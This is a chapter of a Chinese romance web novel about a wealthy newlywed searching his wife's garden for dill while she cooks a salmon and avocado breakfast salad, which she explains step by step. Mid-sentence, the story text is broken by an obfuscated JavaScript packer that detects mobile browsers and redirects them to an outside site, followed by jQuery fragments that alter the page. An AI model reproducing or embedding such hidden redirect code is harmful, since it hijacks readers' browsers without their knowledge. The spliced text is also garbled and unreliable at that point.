21. 春日早餐(2)
作品:《春日新婚》 高洵点开语音听到这句话,傅琛礼的声线依然清清冷冷,他却听出了这四个字里透出的一丝无助。
眺望一眼不远处的篱笆墙小院,他刹那明白了傅琛礼现在面临的状况。
养尊处优的傅先生在地里摘菜?!那双签文件、掌控傅周商业帝国、搅弄世界经济风云的手在地里摘菜?!
太太居然叫傅先生去菜园摘菜?!
高洵霍然打开车门下车。
老板现在无助地在满菜园找寻一株莳萝,他哪里还坐得下去。
高洵手指飞快打字:「傅先生,我现在进去帮您找。」
「不用。」
傅琛礼再次点开屏幕上的莳萝图,放大看了细节,根深蒂固把莳萝的样子刻画在脑海里,继续漫步小菜园,不错眼地盯着冒出绿叶的菜。
这块家门口的小菜园在他看来迷你得像巴掌大,转瞬就能走到头。其实这整套房子加上院子,他都觉得太小了,转个身都狭窄。
但是,却处处都是她的生活气息。昨夜他和衣躺在客厅的小沙发上,盖着旧毛毯,除了时不时“嗡嗡嗡”扰人清梦的蚊虫,一夜好眠。
土地和青草的味道盈满鼻端,傅琛礼深吸了一口气,觉得这味道很自然清新。
他边走边放眼环顾,夜晚看得不分明,早晨光线照射下,这篱笆墙圈起的小小院子井然有序,绿意盎然,开着一些小花,花叶在风中扑簌簌轻轻摇摆。
从藤蔓环绕的栅栏院门进来,当中是一条青石板花`径通往露台入户门,穿行其间,赤陶花盆里的花草轻拂裤腿,拂去了他不知何处寻莳萝的焦急。
路的一侧搭了个葡萄廊架,廊下有石桌石凳。葡萄架过去有一道木艺花架拱门通往前院,里头也种满了花花草草。
另一侧就是他所处的菜园,被规划成了一畦一畦的菜地,有的还只是一块空置的泥土地,有的长出了各种他认不出的蔬菜。
前院种花,后院种菜,间或种着几棵果树,鸟叫声忽远忽近。麻雀虽小,倒是有花有菜有果有鸟,好像也别有一番田园意趣。
傅琛礼想,这小院应该是花匠和菜农一起打理的吧,听安叔说伦敦家里的园艺师很不错,花园里四季鲜花不断,种植的稀有珍木也扎根繁茂,该让安叔聘请菜农了。
他走了一圈,信步穿过木艺花门,来到前院。
拐过一处墙角,墙边立着一只防腐木小菜箱,罩着竹竿撑起来的暖棚,长着绿盈盈的草叶,散发着植物的浓郁香气。
定睛细看,伞状花叶开在围栏里,正是他脑海里的莳萝。
他低头看看手机屏幕上的图片,唇角溢出笑意,举起剪子“咔嚓”一声剪下一大把。
胜券在握地站直身体,抬眸便对上了一双目光莹莹的眼睛。
四目相对,他握着一把莳萝,满意微笑,而她站在厨房窗台前笑盈盈。
他找了好久的莳萝,原来就长在她做饭的厨房窗下。
苏明婳笑容灿烂,隔窗招呼道:“我忘了告诉你莳萝被我种在了这边,你找了很久吧?”
“没关系,我正好走走看看。”迎着朝阳,傅琛礼唇角弧度上扬,“你的院子打理得很好。”
苏明婳接下后一句夸奖,得意道:“那当然,我可是花了大力气的,这两年越长越好。现在还没到盛花期,等再过一阵花开多了就更漂亮了。还有我这菜园的菜,全是纯天然无污染,长得还特别好,待会儿你尝过了自己摘的生菜就知道有多好吃。”
“纯天然无污染”对傅琛礼是个新鲜词汇,他从不用考虑呈到他面前餐盘的食物,是不是纯天然无污染。
不过看着她亮晶晶的眼睛,他很捧场:“我很期待。”
苏明婳很有信心:“我种的菜吃过的人都说好吃,你绝对不会失望。”
小区里不乏种花种菜的人家,就数她的院子最繁茂,花开时满院花海,菜也一茬接一茬,四季不断。夏秋丰收时节,菜多得吃不完,她可是送了不少给邻居,吃过的人都夸赞她种的菜特别好吃。
夸下海口后,她又谦虚了一下:“我这也是占了一点便宜,以前房东就在院子里种花种菜,我捡了现成的便宜,土地培育出来了,菜和花都很好养。”
“那也是你手艺好。”傅琛礼将捧场进行到底,举起手里的莳萝摇一摇,“这莳萝长得很茁壮。”
苏明婳第一次听闻用“茁壮”形容莳萝,但是配合傅琛礼举起手摇晃的动作,伞状羽叶扑簌簌舒展,温和的辛香扑鼻而来,莫名有一种满含生机的反差萌。
这个词还挺萌的。
可不是茁壮吗?这香气浓郁的翠绿莳萝生命力旺盛,的确很茁壮。
她笑道:“香料可以让食物更美味,莳萝经常用得着。这边冬天向阳,太阳更好,莳萝喜阳又喜欢湿润的环境,种在厨房这里长得更茁壮。我之前还种了茴香,不过冬天没有活过来。”
很多人和事都在冬天枯萎了。
苏明婳的笑容也跟着蔫了一下,对上他的温雅笑脸,又振作起来说:“莳萝开花了也很好看,你没有见过莳萝花吧?现在天气暖和了,过一阵子就会开花了。”
闲聊了几句,苏明婳继续专注做早餐。
傅琛礼看见灶台上平底锅里在煎鸡蛋,两只圆心蛋并列在一起团团圆圆,还有一口锅里在煮着什么,食物的味道透过窗户鲜活地飘出来。
在她烹饪早餐的炊烟袅袅里,他垂眸看看窗下的莳萝,禁不住开始想象到时候莳萝花开是什么样子。
片刻后,他举起手机,拍下了窗下长势喜人的莳萝。
站在篱笆墙外望眼欲穿的高洵,忽然收到了傅琛礼发来的一张照片,配着一句打出来的文字:「我找到了。」
高洵点开图片看看菜箱里的莳萝,又看看傅琛礼的文字,莫名觉得像自己表姐家的小孩在嘚瑟炫耀求表扬。
他斟酌了一下,真心实意夸赞了一句:「太太种的莳萝长得真好!」
然后他收到了一个秒回的字:「嗯。」
高洵手抖了一下。
-
厨房里苏明婳也手抖了一下,握着一大把莳萝心痛难忍。她说的是掐几根莳萝,傅琛礼直接给她剪下了几颗吧。
做沙拉添香哪里用得了这么多?菜箱里统共才十来颗,在下一季的长起来之前,且吃且珍惜。
做饭的事,男人果然不能指望!
“生菜和芫荽你也是剪下的?这些又不会再长,连根拔起就行了。”苏明婳最终若无其事地没提莳萝。
看他齐根剪下的蔬菜平平整整,打理得一丝不苟,心下也找到了安慰。算了,他这么彬彬有礼、认认真真帮忙,她也不能太计较,总得给他机会慢慢学习成长。
傅琛礼学习到了:“那么下次我连根拔起。”
孺子可教也,苏明婳很满意。
傅琛礼站在她身后,看什么都新奇。他看着在窗外就吸引了他视线的那口小锅:“这锅里是什么?”
“藜麦呀,已经煮熟了,我用来做沙拉主食的。早上吃点粗粮既饱腹也健康,对消化系统有好处。”
苏明婳速度飞快地做好了三明治,因为鸡蛋、培根片都已经煎好,所有食材都准备就绪,只待他的生菜。
将三明治裹上保鲜膜沿斜角对半切开后,她把藜麦倒进滤网里沥水,拿起一只柠檬榨汁。
傅琛礼又问:“现在做什么?”
“现在做的是柠檬莳萝酱,调
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035370|177412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拌沙拉的。”
在柠檬汁玻璃碗里,依次加入蜂蜜、芥末酱,撒入海盐和胡椒粉,淋上少许橄榄油一起拌匀,苏明婳抓起几根莳萝闻了闻,飞快在砧板上切碎。
“我跟你说,这个酱汁的灵魂就是莳萝,又鲜又香,一口入魂。”
她一整套动作行云流水,很快就将切碎的莳萝拌进了酱汁碗里,最后用食指沾了一点搅拌勺里的酱汁,粉嫩的舌尖探出来舔了舔,尝了尝,满意颔首:“味道刚刚好。”
傅琛礼眸色一暗,喉结微动:“接下来要做什么?”
“煎三文鱼,我刚刚调的柠檬莳萝酱和三文鱼可是绝配!”
苏明婳说起美食就叭叭不停,看他感兴趣,边操作,边给他讲解这道三文鱼牛油果沙拉的烹饪过程。就当直播做饭了,虽然今天只有一位现场观众,但这位观众求知欲满满,让她很有成就感。
“我今天这道沙拉吃的就是春天的鲜嫩翠绿,所以三文鱼半熟就可以了。那就一定要选这种刺身级别的三文鱼,擦干水份后简单的用盐和黑胡椒按压一下调味。”
“平底锅里倒油,大火大概煎三四十秒就差不多了。”
“煎到鱼肉像这样表面金黄香脆,里面是还很鲜嫩的半熟状态,这季节吃也不会太寒凉。冬天我们可以煎全熟,吃下去更温热。”
“煎好的三文鱼就这样切成小块备用。”
“现在要来处理牛油果了,牛油果选这种刚好捏得动的,成熟度刚刚好,没有黑色的纤维和筋。”
“牛油果去核也是一门技巧,你现在看好了。”
她将牛油果带皮在手心里打着转,持刀避开果核划开,接下来捏在手里一转,完整的两半对开。然后捏着有果核的那一半,另一只手持刀对准果核心,一刀劈下去,果核随刀而出。
整个过程熟极而流,下手快狠准,毫不拖泥带水。
傅琛礼喉结滚动,眸色幽深。
“切牛油果就更简单了,这样用小刀划成块,直接挖进碗里就可以了。”
“牛油果和苹果一样很容易氧化,氧化后颜色就不鲜绿了,所以要马上挤一点柠檬汁进来保鲜,再加盐和胡椒调味。”
“现在所有食材都准备好了,直接来拌沙拉就可以了。”
她拿出一个大的沙拉碗,将切好的牛油果和三文鱼块都放进去,抓紧去两把洗净的翠绿苦菊和一小把芫荽嫩叶,倒入煮开花沥干水的紫色藜麦,淋上做好的柠檬莳萝酱,双手出动用叉勺一起拌匀。
最后,看着还剩下的大把莳萝,她又顺手摘了一些莳萝嫩叶撒进去。
“好了,做好了,很简单是不是?今天的三文鱼牛油果沙拉一定很完美!”
她的声音琳琅清脆,娓娓道来,蕴含食物的芳香和热情。语调高低起伏,像轻快婉转的音乐小调,又像大珠小珠落玉盘,回荡在晨光明媚的厨房里。
傅琛礼一直听得很认真,没有出声打扰她沉浸式做这道沙拉的愉悦感。
她穿着一身白衣,围着米白纯棉刺绣围裙,在清晨明亮的厨房里,整个人都笼罩在一层朦胧白光里,焕发出明媚皎洁的光辉。讲起自己做的食物,双目莹莹,大眼里有光彩在流动。
伴随她的讲解,他时不时举起手机拍照。
苏明婳留意到了他在拍照,她不是一个非常勤快的美食产出博主,除了不定时的即兴不露脸做饭直播,每周大约发布两到三次做饭视频,然后分享一些日常美食图片。
今天是家常早餐,也赶时间,就没有在旁边架起相机或者手机拍摄烹饪过程。平时她一个人在厨房,如果要拍摄,做饭途中还要不时停下来,调整拍摄角度。
今天有人全程自觉跟拍,她觉得很方便。